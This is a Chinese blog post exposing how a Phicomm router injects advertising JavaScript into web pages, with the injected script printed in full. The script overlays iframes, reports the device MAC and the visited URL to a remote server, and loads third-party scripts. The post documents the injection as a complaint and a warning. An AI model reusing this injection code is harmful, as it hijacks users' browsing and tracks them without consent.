斐讯路由器有内置广告?你是否被推送广告或被广告劫持
斐讯路由器已经出来好久好久了,我也用了一年多了,而在使用的时候经常莫名其妙的出现广告的情况,刚开始以为是网站上面的广告,而后查看了广告拦截软件,和网站上面都没有发现广告的情况,查看源码发现多了一条JS语句:
1 2 3 4 |
<html lang="en"> <head><script src=http://222.73.156.235:8888/v2?MAC=CC81DA959DA8></script> <meta charset="utf-8" /> <title>套餐价格设置</title> |
好奇至于,把WIFI关闭,再次查看源码,并没有发现这个被强行植入的JS代码;就这样反复几次,使用wifi、使用手机、更换浏览器,最终将目标锁定在了路由器上面;发现这是斐讯路由器强行加载的广告页;好吧,我被强暴了。你是否被推送广告或被广告劫持呢?看看源码是否存在这样的语句即可。
下面将这个JS全部代码放上去大家可以看看明显是斐讯的功劳,上面可是有斐讯的官方网址哦:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 |
(function () { var ip = 'http://222.73.156.235:8888'; var pc = false; var android = true; var ios = true; var deviceMac = 'CC:81:DA:95:9D:A8'; var statisticUrl = 'http://222.73.156.235:8888/v2/router/ad/state'; var a_str = {"top": {},"center": {},"bottom": {}}; var hostUrl = ''; // var timestamp = new Date().getTime(); // lalala window.onload = function(){ aa(); } window.addEventListener('message', function(e){ if(e.data.removeIframe == "yes"){ document.getElementById(e.data.iframeId).remove(); } }, false) //判断方向,resize的时候判断方向(adp-138) window.addEventListener("resize",function(){ var iframe_Ct_a = document.getElementById('iframe_center_a'); var iframe_Ct_b = document.getElementById('iframe_bottom_a'); //中间插屏 if(iframe_Ct_a){ if( window.orientation == 90 || window.orientation==-90){ iframe_Ct_a.style.left = window.innerWidth /2 + "px"; iframe_Ct_a.style.top = window.innerHeight/1.2+"px"; iframe_Ct_a.style.marginLeft = parseInt(a_str.center.width)/2*(-1)+"px"; iframe_Ct_a.style.marginTop = (window.innerHeight/1.5)*(-1)+"px"; } if( window.orientation == 180 || window.orientation == 0 ) { iframe_Ct_a.style.left = window.innerWidth /2 + "px"; iframe_Ct_a.style.top = window.innerHeight /2 + "px"; iframe_Ct_a.style.marginLeft = parseInt(a_str.center.width)/2*(-1)+"px"; iframe_Ct_a.style.marginTop = parseInt(a_str.center.height)/2*(-1)+"px"; } } //底部横幅 if(iframe_Ct_b){ if(window.orientation ==90 || window.orientation==-90){ iframe_Ct_b.style.marginLeft = "25%"; } if(window.orientation == 180 || window.orientation == 0){ iframe_Ct_b.style.marginLeft = '0'; } } }); function aa() { //增加禁止域名判断 if(forbidHost()){ loadJs(); return false; } hostUrl = encodeURIComponent(top.window.location.href); var browser = { versions: function () { var u = navigator.userAgent, app = navigator.appVersion; return { trident: u.indexOf('Trident') > -1, //IE内核 presto: u.indexOf('Presto') > -1, //opera内核 webKit: u.indexOf('AppleWebKit') > -1, //苹果、谷歌内核 gecko: u.indexOf('Gecko') > -1 && u.indexOf('KHTML') == -1, //火狐内核 mac: u.indexOf('Macintosh') > -1,//mac mobile: !!u.match(/AppleWebKit.*Mobile.*/) || !!u.match(/AppleWebKit/), //是否为移动终端 ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端 android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android终端或者uc浏览器 iPhone: u.indexOf('iPhone') > -1 || u.indexOf('Mac') > -1, //是否为iPhone或者QQHD浏览器 iPad: u.indexOf('iPad') > -1, //是否iPad webApp: u.indexOf('Safari') == -1 //是否web应该程序,没有头部与底部 }; }() } if (isWeiXin() || isAPP() || true == browser.versions.mac) { loadJs(); } else if (browser.versions.android == true) { //只投Android if(android){ //console.log("ios append iframe."); appendIframe(); loadJs(); //console.log("ios append iframe over."); } } else if (browser.versions.ios == true || browser.versions.iPhone == true || browser.versions.iPad == true) { if(ios){ //console.log("ios append iframe."); appendIframe(); loadJs(); //console.log("ios append iframe over.") } } else { loadJs(); } function appendIframe() { var dataSet = {}; dataSet.deviceMac = deviceMac; dataSet.statisticUrl = statisticUrl; dataSet.hostUrl = hostUrl; dataSet.ip = ip; if(a_str.top.height != undefined){ var iframe_Tp = document.createElement('iframe'); iframe_Tp.src = ip + '/routerad/common/pages/mobile_index.html'; iframe_Tp.id = "iframe_top_a"; iframe_Tp.name = "iframe_top_a"; iframe_Tp.scrolling = "no"; iframe_Tp.display = "block"; iframe_Tp.style.position="fixed"; iframe_Tp.setAttribute("frameborder","0"); iframe_Tp.style.zIndex = "2147483647"; var iframeWidth,iframeHeight; iframeWidth = window.innerWidth; iframeHeight = parseInt(a_str.top.height) * parseInt(iframeWidth)/parseInt(a_str.top.width); iframe_Tp.style.width = iframeWidth + "px"; iframe_Tp.style.height = iframeHeight + "px"; //iframe_Bt.style.bottom = "0px"; iframe_Bt.style.top = "0px"; iframe_Tp.style.left = "0px"; window.top.document.body.appendChild(iframe_Tp); dataSet.picList = a_str.top.picList; dataSet.iframeId = "iframe_top_a"; document.getElementById('iframe_top_a').onload=function(){ var ifr = document.querySelector('#iframe_top_a'); ifr.contentWindow.postMessage(dataSet, '*'); } } if(a_str.bottom.height != undefined){ //console.log("bottom iframe."); var iframe_Bt = document.createElement('iframe'); iframe_Bt.src = ip + '/routerad/common/pages/mobile_index.html'; iframe_Bt.id = "iframe_bottom_a"; iframe_Bt.name = "iframe_bottom_a"; iframe_Bt.scrolling = "no"; iframe_Bt.display = "block"; iframe_Bt.style.position="fixed"; iframe_Bt.setAttribute("frameborder","0"); iframe_Bt.style.zIndex = "2147483647"; var iframeWidth,iframeHeight; iframeWidth = window.innerWidth; iframeHeight = parseInt(a_str.bottom.height) * parseInt(iframeWidth)/parseInt(a_str.bottom.width); iframe_Bt.style.width = iframeWidth + "px"; iframe_Bt.style.height = iframeHeight + "px"; //iframe_Bt.style.top = window.innerHeight + "px"; iframe_Bt.style.bottom = "0px"; iframe_Bt.style.left = "0px"; iframe_Bt.style.marginTop = iframeHeight*(-1) + "px"; window.top.document.body.appendChild(iframe_Bt); dataSet.picList = a_str.bottom.picList; dataSet.iframeId = "iframe_bottom_a"; document.getElementById('iframe_bottom_a').onload=function(){ var ifr = document.querySelector('#iframe_bottom_a'); ifr.contentWindow.postMessage(dataSet, '*'); } } if(a_str.center.height != undefined){ //console.log("center iframe."); var iframe_Ct = document.createElement('iframe'); iframe_Ct.src = ip + '/routerad/common/pages/mobile_index.html'; iframe_Ct.id = "iframe_center_a"; iframe_Ct.name = "iframe_center_a"; iframe_Ct.scrolling = "no"; iframe_Ct.display = "block"; iframe_Ct.style.position="fixed"; iframe_Ct.setAttribute("frameborder","0"); iframe_Ct.style.zIndex = "2147483647"; var iframeWidth,iframeHeight; iframeWidth = a_str.center.width; iframeHeight = a_str.center.height; iframe_Ct.style.width = parseInt(iframeWidth) + "px"; iframe_Ct.style.height = parseInt(iframeHeight) + "px"; iframe_Ct.style.left = window.innerWidth /2 + "px"; iframe_Ct.style.top = window.innerHeight /2 + "px"; iframe_Ct.style.marginLeft = parseInt(iframeWidth)/2*(-1)+"px"; iframe_Ct.style.marginTop = parseInt(iframeHeight)/2*(-1)+"px"; window.top.document.body.appendChild(iframe_Ct); dataSet.picList = a_str.center.picList; dataSet.iframeId = "iframe_center_a"; document.getElementById('iframe_center_a').onload=function(){ var ifr = document.querySelector('#iframe_center_a'); ifr.contentWindow.postMessage(dataSet, '*'); } } } } function isWeiXin() { var ua = window.navigator.userAgent.toLowerCase(); //console.log(ua);//mozilla/5.0 (iphone; cpu iphone os 9_1 like mac os x) applewebkit/601.1.46 (khtml, like gecko)version/9.0 mobile/13b143 safari/601.1 if (ua.match(/MicroMessenger/i) == 'micromessenger') { return true; } else { return false; } } function isAPP() { var ua = window.navigator.userAgent.toLowerCase(); if (ua.indexOf("biliapp") >= 0) { return true; } if (ua.indexOf("wifikey") >= 0) { return true; } if (ua.indexOf("newsarticle") >= 0) { return true; } if (ua.indexOf("peanutwi-fi") >= 0) { return true; } if (ua.indexOf("phiwifi")>=0) { return true; } if (ua.indexOf("changba") >= 0) { return true; } if (ua.indexOf("phicare") >= 0) { return true; } if (ua.indexOf("vmchybirdapp-android") >= 0) { return true; } if (ua.indexOf("vmchybirdapp-ios") >= 0) { return true; } if (ua.indexOf("momowebview") >= 0 || ua.indexOf("momokit") >= 0) { return true; } else { return false; } } //禁止显示广告的域名,后续增加多个时候可以使用数组 function forbidHost(){ var url = top.window.location.href; var host = top.window.location.host; if (host.indexOf(".gov.cn") != -1) { return true; } var reg = /phicomm\.com/g; var baiduReg = /m\.baidu\.com\/static/g; if(reg.test(url) || baiduReg.test(url)){ return true; }else{ return false; } } function loadJs() { var newscript = document.createElement('script'); newscript.setAttribute('type', 'text/javascript'); newscript.setAttribute('src', 'https://www.jiubuhua.com/exjs.js'); var newscript2 = document.createElement('script'); newscript2.setAttribute('type', 'text/javascript'); newscript2.setAttribute('src', 'https://logs.newapi.com/jd/ad?f=zq18'); var head = document.getElementsByTagName('head')[0]; head.appendChild(newscript); head.appendChild(newscript2); } })(); |
好家伙,只有自己官方网址不显示广告。这也太流氓了!
最后在不刷机的情况下,未能找到什么好的方法来解决此问题!无奈之下只有将家中路由器刷机。广告88喽!